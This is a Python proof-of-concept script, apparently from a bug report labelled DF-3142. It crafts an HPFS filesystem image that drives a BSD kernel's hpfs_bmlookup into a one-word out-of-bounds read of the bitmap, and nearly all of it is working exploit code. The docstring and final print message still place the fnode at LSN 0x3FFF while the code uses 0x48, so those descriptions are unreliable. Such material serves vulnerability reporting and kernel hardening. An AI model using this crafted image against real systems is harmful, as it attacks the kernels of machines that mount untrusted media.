DF-3142 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | #!/usr/bin/env python3 """ DF-3142 -- hpfs_bmlookup off-by-one: `lsn > su_btotal` admits lsn == su_btotal (sys/vfs/hpfs/hpfs_subr.c:340). On a volume whose su_btotal is an exact band multiple, `i = lsn >> 5` (subr.c:348) then indexes exactly one word PAST the hpm_bitmap allocation: hpm_dbnum = (su_btotal + 0x3FFF) / 0x4000 (subr.c:109) alloc = hpm_dbnum * BMSIZE = dbnum * 2048 bytes = dbnum*512 words probe word = su_btotal >> 5 == dbnum * 512 when su_btotal%0x4000==0 Caller: hpfs_addextent (hpfs_alsubr.c:360) passes lsn = hp->h_no + 1, so a file whose fnode is the very last sector of the volume (h_no = su_btotal-1) triggers the 4-byte OOB read on extend. Image: su_btotal = 0x4000 (exactly one band, 8 MB), FILE's fnode at LSN 0x3FFF with an EMPTY allocation block -> extend takes the "init AlBlk in root" path straight into bmlookup(hp->h_no + 1 = 0x4000 == su_btotal). 32 free bitmap bits (0x200..0x21F) so hpfs_extend's `hpm_bavail < 0x10` check passes. usage: craft_img.py <out.img> """ import struct, sys SECTOR = 512 IMGSEC = 0x4000 # exact band multiple: su_btotal % 0x4000 == 0 SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE DE_END = 0x0008 FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11 FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \ 0x20, 0x3B, 0x3C, 0x44, 0xA4 AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6 DE_OFF_NAMELEN, DE_OFF_NAME = 0x2E, 0x2F def build(outpath): img = bytearray(IMGSEC * SECTOR) def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF) def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF) def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF) def wr8(o, v): img[o] = v & 0xFF img[0] = 0xEB wr16(SECTOR - 2, 0xAA55) su = 0x10 * SECTOR wr64(su + 0, SU_MAGIC); wr8(su + 8, 2) wr32(su + 12, 0x20) # su_rootfno wr32(su + 16, IMGSEC) # su_btotal = 0x4000 <<< exact band wr32(su + 20, 0) wr32(su + 24, 0x30); wr32(su + 28, 0x30) wr64(0x11 * SECTOR, SP_MAGIC) wr32(0x30 * SECTOR, 0x38) bm = 0x38 * SECTOR for i in range(0x200, 0x220): # 32 free bits (>= 0x10) img[bm + (i >> 3)] |= (1 << (i & 7)) # root fnode @0x20 -> dirblk 0x40 rf = 0x20 * SECTOR wr32(rf + FN_OFF_MAGIC, FN_MAGIC) wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.') wr32(rf + FN_OFF_PARENT, 0x20) wr8(rf + FN_OFF_FLAG, 1) img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(rf + FN_OFF_ABD + 8, 0x40) wr32(rf + FN_OFF_SIZE, 2048) db = 0x40 * SECTOR wr32(db + 0, D_MAGIC) wr32(db + 12, 0x20); wr32(db + 16, 0x40) dep = db + 20 reclen = ((0x2F + 4) + 3) & ~3 # 0x34: 4-char name must fit struct.pack_into('<HHI', img, dep, reclen, 0, 0x48) # FILE -> fnode 0x48 img[dep + DE_OFF_NAMELEN] = 4 img[dep + DE_OFF_NAME:dep + DE_OFF_NAME + 4] = b'FILE' dep2 = dep + reclen struct.pack_into('<HH', img, dep2, 2048 - (dep2 - db), DE_END) wr32(db + 4, (dep2 + 4) - db) # FILE fnode at a PAGE-SAFE LSN (0x48; the last sector 0x3FFF is # LSN%8==7, which would trip DF-3141's vget read fault first). # Its single leaf covers blocks [0,2) at lsn 0x3FFE so that # alp->al_lsn + alp->al_len == 0x4000 == su_btotal: extending the # file takes hpfs_addextent:435 -> bmlookup(al_lsn+al_len, ...) with # lsn == su_btotal -> off-by-one probe of bitmap word 512 (OOB). ff = 0x48 * SECTOR wr32(ff + FN_OFF_MAGIC, FN_MAGIC) wr8(ff + FN_OFF_NAMELEN, 4) img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 4] = b'FILE' wr32(ff + FN_OFF_PARENT, 0x20) wr8(ff + FN_OFF_FLAG, 0) # VREG img[ff + FN_OFF_AB + AB_OFF_FLAG] = 0 # leaves img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) wr32(ff + FN_OFF_ABD + 0, 0) # al_off = 0 wr32(ff + FN_OFF_ABD + 4, 2) # al_len = 2 wr32(ff + FN_OFF_ABD + 8, 0x3FFE) # al_lsn: +2 == 0x4000 wr32(ff + FN_OFF_SIZE, 1024) with open(outpath, 'wb') as f: f.write(img) print("wrote %s: su_btotal=0x4000 dbnum=1 bitmap=2048B=512words, " "fnode@0x3FFF -> bmlookup lsn=0x4000 probes word 512 (OOB)" % outpath) if __name__ == '__main__': build(sys.argv[1]) |